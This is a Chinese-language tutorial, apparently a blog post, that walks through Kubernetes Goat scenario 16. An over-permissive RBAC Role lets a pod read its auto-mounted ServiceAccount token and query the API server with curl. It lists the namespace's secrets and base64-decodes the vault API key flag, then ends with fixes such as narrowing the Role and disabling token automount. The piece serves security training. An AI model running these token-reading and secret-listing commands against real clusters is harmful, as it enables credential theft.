Kubernetes Goat 场景 16 实战:从 RBAC 最小权限失配到窃取集群 Secret 的完整攻击链
发布时间:2026/9/17 8:35:47 作者:尧图编辑部 阅读量:1,286

Kubernetes Goat 场景 16 实战从 RBAC 最小权限失配到窃取集群 Secret 的完整攻击链【免费下载链接】kubernetes-goatKubernetes Goat is a Vulnerable by Design cluster environment to learn and practice Kubernetes security using an interactive hands-on playground 项目地址: https://gitcode.com/GitHub_Trending/ku/kubernetes-goat本文基于 Kubernetes Goat一个故意设计为不安全的 Kubernetes 练习集群中的场景 16——RBAC least privileges misconfigurationRBAC 最小权限失配带你完整复现一条真实的攻击链容器内 ServiceAccount 被绑定了远超业务所需权限的 Role攻击者仅凭 Pod 内自动挂载的令牌就能直接调用 Kubernetes API Server 读取同命名空间下的所有 Secret最终拿到k8svaultapikey敏感凭据。读完后你将掌握如何在 Pod 内定位 ServiceAccount 凭据、如何用curl直接对话 API Server 的 REST 接口、如何用kubectl auth can-i等思路验证权限范围以及最小权限修复的具体写法。场景背景一条多余的权限带来的连锁失控现实中的开发与运维团队经常给工作负载授予以防万一的额外权限这恰恰是攻击者提权与横向移动的起点。Kubernetes 早期没有 RBACRole-Based Access Control概念主要依赖 ABACAttribute-Based Access Control如今 RBAC 是落实最小权限原则的核心机制但绝大多数真实工作负载仍然拥有远超意图的权限。在 Kubernetes Goat 的场景 16 中漏洞载体是一个名为big-monolith的命名空间。该场景的完整设定文档见 scenario-16.md详细操作手册见 guide 版 scenario-16 文档。漏洞根源剖析过度宽泛的 Role 定义场景 16 的漏洞资源全部由 scenarios/hunger-check/deployment.yaml 定义由集群初始化脚本 setup-kubernetes-goat.sh 在部署阶段统一应用脚本中第 81 行的kubectl ... apply -f scenarios/hunger-check/deployment.yaml。该清单文件按顺序声明了以下对象命名空间big-monolithRolesecret-reader命名空间级apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: namespace: big-monolith name: secret-reader rules: - apiGroups: [] # indicates the core API group resources: [*] # all the resources verbs: [get, watch, list]问题一目了然resources: [*]表示核心 API 组下的所有资源类型包括secrets。业务本只需要webhookapikey这一个 Secret但这里把整个命名空间的核心资源读取权全部放开RoleBinding把该 Role 授予 ServiceAccountbig-monolith-saServiceAccountbig-monolith-sabig-monolith命名空间两个 Secretwebhookapikey业务应该用到的键为k8swebhookapikey与vaultapikey目标凭据键为k8svaultapikeyDeploymenthunger-check-deployment其 Pod spec 中显式指定serviceAccountName: big-monolith-sa镜像madhuakula/k8s-goat-hunger-check基于 Ubuntu 安装gotty并开启可写 shell见 infrastructure/hunger-check/DockerfileCMD [ gotty, -w, bash ]容器端口 8080 即场景入口Servicehunger-check-service将 8080 端口暴露给集群内访问。从源码结构看这正是教科书式的权限过宽案例Role 的规则粒度是资源类型级而非资源实例级Kubernetes RBAC 本身不支持只能读某一个 Secret这种对象级限制因此最小权限的正确姿势应是收窄resources列表或干脆按 Secret 名称拆分 Role 并配合准入控制而不是图省事写成*。环境准备启动集群与进入攻击面在本地搭建好的 Kubernetes 集群上执行初始化脚本脚本会依次应用 insecure-rbac、metadata-db Helm Chart 及各场景清单完整清单见 setup-kubernetes-goat.shbash setup-kubernetes-goat.sh确认相关 Pod 处于 Running 状态后启动本地访问脚本会建立端口转发bash access-kubernetes-goat.sh随后浏览器访问http://127.0.0.1:1236进入 Goat 主页选择 Scenario 16 即可得到hunger-check容器的交互终端gotty 通过 8080 端口提供 Web Shell。场景目标利用 Pod 所绑定 ServiceAccount 的过度权限读取big-monolith命名空间中名为vaultapikey的 Secret拿到k8svaultapikey的值。攻击链第一步定位 Pod 内自动挂载的 ServiceAccount 凭据Kubernetes 会为未显式禁用的 Pod 自动把 ServiceAccount 凭据挂载到固定路径/var/run/secrets/kubernetes.io/serviceaccount/其中包含tokenBearer 令牌、namespace当前命名空间与ca.crtAPI Server 的 CA 证书三个文件。进入终端后执行cd /var/run/secrets/kubernetes.io/serviceaccount/ ls -larth可以看到挂载的 token 与证书文件这就是与 API Server 对话的全部凭据。攻击链第二步用 REST API 直接对话 API Server把凭据与 API Server 地址组装成环境变量随后即可用curl模拟任何 kubectl 能做的读操作。从 Pod 注入的环境变量导出 API Server 的内部地址KUBERNETES_SERVICE_HOST由 Kubernetes 自动注入export APISERVERhttps://${KUBERNETES_SERVICE_HOST}设置 ServiceAccount 目录export SERVICEACCOUNT/var/run/secrets/kubernetes.io/serviceaccount读取当前命名空间名export NAMESPACE$(cat ${SERVICEACCOUNT}/namespace)读取 Bearer Tokenexport TOKEN$(cat ${SERVICEACCOUNT}/token)指定 CA 证书路径供curl做 TLS 校验export CACERT${SERVICEACCOUNT}/ca.crt先探测 API Server 支持的 API 组与版本验证凭据有效curl --cacert ${CACERT} --header Authorization: Bearer ${TOKEN} -X GET ${APISERVER}/api攻击链第三步枚举并读取敏感 Secret查询default命名空间下所有 Secret注意此路径不带命名空间前缀行为取决于集群配置此处遵循场景文档的演示步骤curl --cacert ${CACERT} --header Authorization: Bearer ${TOKEN} -X GET ${APISERVER}/api/v1/secrets查询本命名空间big-monolith下的全部 Secret——由于 Role 允许list核心组的所有资源请求会成功返回的列表中即可看到webhookapikey与vaultapikeycurl --cacert ${CACERT} --header Authorization: Bearer ${TOKEN} -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets同样的方式还能列出命名空间内的 Pod 等对象说明权限失配的辐射面远不止 Secretcurl --cacert ${CACERT} --header Authorization: Bearer ${TOKEN} -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods场景文档同时提示Kubernetes 本身就是一整套 API 服务凡是权限覆盖的操作创建、删除 Pod 等都可以照此构造请求尝试。攻击链第四步解码目标凭据将输出中的k8svaultapikey值过滤出来curl --cacert ${CACERT} --header Authorization: Bearer ${TOKEN} -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey其值为 Base64 编码的字符串解码即得 Kubernetes Goat 的 flagecho azhzLWdvYXQtODUwNTc4NDZhODA0NmEyNWIzNWYzOGYzYTI2NDlkY2U | base64 -d对照 scenarios/hunger-check/deployment.yaml 中vaultapikeySecret 的声明可以确认解码结果与该字段完全一致场景完成。复盘与修复建议收窄 resources 与 verbssecret-reader这类 Role 只应列出业务真正需要的资源如只读特定配置而不是resources: [*]本场景中业务若只消费webhookapikey正确做法是避免让 Pod 直接持有能 list 全部 Secret 的 Role。减少 Pod 直接持有 Secret 的必要性可通过更细粒度的注入方式或外部凭据系统收敛暴露面RBAC 无法做到只读某一个 Secret 对象的实例级授权设计时就要意识到这一点。禁用自动令牌挂载对不需要访问 API 的 Pod 设置automountServiceAccountToken: false从根上切断容器凭据 → API Server这条链。权限审计定期用kubectl auth can-i --list --assystem:serviceaccount:big-monolith:big-monolith-sa之类的命令审查各 ServiceAccount 的实际权限范围及时发现类似cluster-admin级别的越权绑定本仓库 scenarios/insecure-rbac/setup.yaml 中另有一个将superadminSA 直接绑定到cluster-adminClusterRole 的对照样本可作为权限审计的负向参照。小结场景 16 用最小的一枚棋子——一个resources: [*]的 Role——展示了 RBAC 失配的完整危害自动挂载的 ServiceAccount 令牌是攻击者的天然跳板API Server 的 REST 接口让一切 kubectl 可见之物皆可被 curl 所取最终webhookapikey之外的vaultapikey也随之暴露。掌握定位凭据 → 组装请求 → 枚举资源 → 提取目标这条链路并对照清单文件理解权限边界的划定方式是理解 Kubernetes 认证与授权机制最直接的实践路径。参考资料均来自仓库场景设定文档infrastructure/goat-home/home/content/scenario-16.md完整操作手册guide/docs/scenarios/scenario-16/scenario-16.md漏洞清单scenarios/hunger-check/deployment.yaml攻击镜像构建infrastructure/hunger-check/Dockerfile集群初始化脚本setup-kubernetes-goat.sh【免费下载链接】kubernetes-goatKubernetes Goat is a Vulnerable by Design cluster environment to learn and practice Kubernetes security using an interactive hands-on playground 项目地址: https://gitcode.com/GitHub_Trending/ku/kubernetes-goat创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考